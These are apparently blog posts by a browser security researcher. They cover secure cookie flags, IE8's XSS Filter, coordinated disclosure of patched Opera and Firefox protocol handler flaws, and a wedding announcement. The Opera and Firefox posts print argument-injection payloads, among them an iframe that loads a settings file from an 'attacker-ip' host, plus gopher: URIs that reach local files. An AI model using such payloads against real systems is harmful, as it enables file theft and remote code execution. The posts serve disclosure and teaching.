Simple Lesson on Secure Cookies

I recently read a paper written by Sandro Gauci from Enable Security entitled "Surf Jacking - HTTPS will not save you". You can find the paper here.

It's an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel.  These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.

<RANT> It bugs me that we’re still dealing with issues like this.  Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications.  Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$).  The true victim's to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>

I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective... yet we continue to struggle on wide scale implementation because we've taken dependencies on insecure behavior.  SSL certs are another great example of this.  Every major browser has a way to bypass the security provided by SSL certs.  Browsers MUST offer this bypass because if they didn't, it would break the web... but i digress.

There is a bright spot when it comes to the protecting cookies.  Cookies are stored and protected by the browser (as any decent web app hacker should know!).  So, when an application server issues a "SET-COOKIE" header, it's merely a recommendation as to how the browser should use the cookie.  Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires...etc) associated with cookies are enforced ENTIRELY by the browser.  So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels.  This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.

I've set up a page on here that simply sets a cookie in the following manner:

Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE

Examining the Cookie in FireFox shows the following:



As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server.  In fact, my server will NEVER set the secure flag for the XSSNIPER cookie.  Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.

javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";

The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure.  I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute... Hmmmm a tool to prevent Surf/Side Jacking attacks... I wonder what I would call it... Any ideas Nate?

After we run the Javascript, we can take another look at the Cookie info presented by Firefox:



As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence).  We've turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.

Now, this approach does have it cons... Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics.  This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked :)

IE8b2 XSS Filter

I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met.  In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web.  David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help.  You can see some of the names of those who participated in XSS-Filter’s creation here.


Thanks David and CONGRATS on the release!


Some technical details with regards to XSS-Filter can be found here.

Opera Stuff - Followup

It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon... but on the show...

 

Opera 9.52 was released a few days ago...  I hope you've upgraded!  Working with the Opera Security Team was a pleasure.  I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive. 

 

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across.  You can read the initial advisory here.  Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here.  Since the issue is patched and the second advisory is out, lets go over the details:

 

First of all... this is a cross application issue (I think Blended Threat is the sexy term being used these days).  We'll use a protocol handling "aware" application to launch these attacks against Opera.  Opera just has to be installed someplace on the victim's machine for this to work.

 

When a user installs Opera, the following protocol hanlder is registered:

 

Opera.Protocol  "C:\Program Files\Opera\Opera.exe" "%1"

 

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey... I'm a simple guy).

 

c:\Program Files\Opera\Opera.exe "Opera.Protocol://test"

 

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera.  In the first example, we will inject the location of a local html file.  When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision.  The protocol handling string we use looks like this:

 

<iframe src =  'opera.protocol:www.test.com" "file://c:\test.html '>

 

which ends up executing the following:

 

c:\program files\opera\opera.exe "opera.protocol:www.test.com" "file://c:\test.html"

 

If we can somehow place an html file to a known location this would be bad.  For arguments sake, lets assume Nate Mcfeters didn't figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) ... what else can we do?

 

Taking a look at the command line arguments supported by Opera, we see a couple interesting items... one of which is the "/settings" argument.  the "/settings" argument allows for Opera.exe to be loaded with an arbitrary INI file.  A quick examination of what's contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control:  Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading... the list goes on and on...

 

<iframe src =  'opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini '>

 

which will result in something like this:

 

c;\program files\opera\opera.exe "opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini"

 

OUCH....Thankfully... the Opera Security Team has fixed this particular issue!  Kudos to them!

A Look at MFSA 2008-35

As promised... a quick look at MFSA2008-35: 

 

When FireFox is installed, it registers the following protocol handlers:

• Gopher://


• FirefoxURL://

Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

 

Both of these protocol handlers point to Firefox.exe in the following manner:

• "C:\Program Files\Mozilla Firefox\firefox.exe" -requestPending -osint -url "%1"

When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above.  For example, gopher://test will result in the following: 

• "C:\Program Files\Mozilla Firefox\firefox.exe" -requestPending -osint -url "gopher://test"

Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument.  Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler.  When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line.  So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed.  This is done in the following manner:

• gopher:test|file:c:/path/filename


• gopher:test|chrome://browser/content/browser.xul

Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank.  This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

 

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location.  There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example.  When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop.  This gives us a semi known location, as we’ll have to guess the username.  We can send a LOT of guesses for username as demonstrated below. 

• <html><body><iframe src="gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3....>

There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

 

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop.  Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content.  When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system). 

 

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision. 

 

On a side note, IE warns users when active script is about to be run from the local file system.  I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that.  This is a great security decision on behalf of IE.

 

 

 

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox).  Both vendors did what was right and adjusted the behavior of their software.  Thanks Mozilla and Apple!

 

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions.  In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software.  From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat…  I’m looking forward to the talk!

FireFox Vulns - MFSA 2008-35

Mozilla issued a patch related to an issue I recently reported to them.  The MFSA with details on the issue can be found here.  It's an interesting issue that demonstrates some of the complexities related to interaction between software from different vendors.  This particular issue makes use of one of my favorite attack vectors, protocol handlers.  The protocol handlers involved in this situation create an opportunity to pass "a command-line URI with the pipe symbols" from a remote webpage to FireFox.exe.  For those that are interested, I'll provide a small writeup on the issue this weekend.  For those waiting, I'll also provide a writeup on the Opera protocol handling issue leading to RCE when the Opera team is ready.

 

It's a crazy coincidence that the FireFox and Opera vulnerabilities come almost one year to the date after Nate McFeters and I reported the original firefoxurl and mailto protocol handling vulnerabilities... and I use the term "reported" loosely :).  Nate and I have changed over the past year... we're both older and fatter, but it seems that protocol handlers continue to be as vulnerable as ever.

 

In closing, I want to thank the Mozilla Security Team (Dan Veditz in particular) and the Apple Security Team for working with me on this issue.  It would have been easy for them to point fingers at the other organization, but both teams took responsibility for their portion and comitted to changes.  Thanks guys!  I'll buy the beers in Vegas!

Opera Stuff

I recently came across an issue in Opera that could allow for some bad stuff.  Although the issue has been addressed, I've been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues.  I'll respect that request.  I do however, want to take a moment to thank the Opera team for their timely response!  Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business.  The Opera team responded quickly with a patch and kept in great contact with me throughout the process.  

 

It's a crazy world out there and the web browser is the window to the wild wild west.  I wish Opera security team the best of luck!

Married in Maui!

I've been Maui for the last two weeks and it was AWESOME.  My girl and I had our wedding ceremony on a beach in Kihei and our reception "upcountry" in Kula.  It was great being back on the islands, catching up with friends and family. 

 

For some reason, I feel energized... Maybe it was the Hawaii sun or may all those late night hacking sessions were finally catching up...  or maybe I'm just getting old :p ... but I feel good now! 

 

I was pretty much offline for the entire time, so if you've sent me an email within the past week  I'll eventually catch up on my email and respond, otherwise I'll SEE YOU IN VEGAS!!!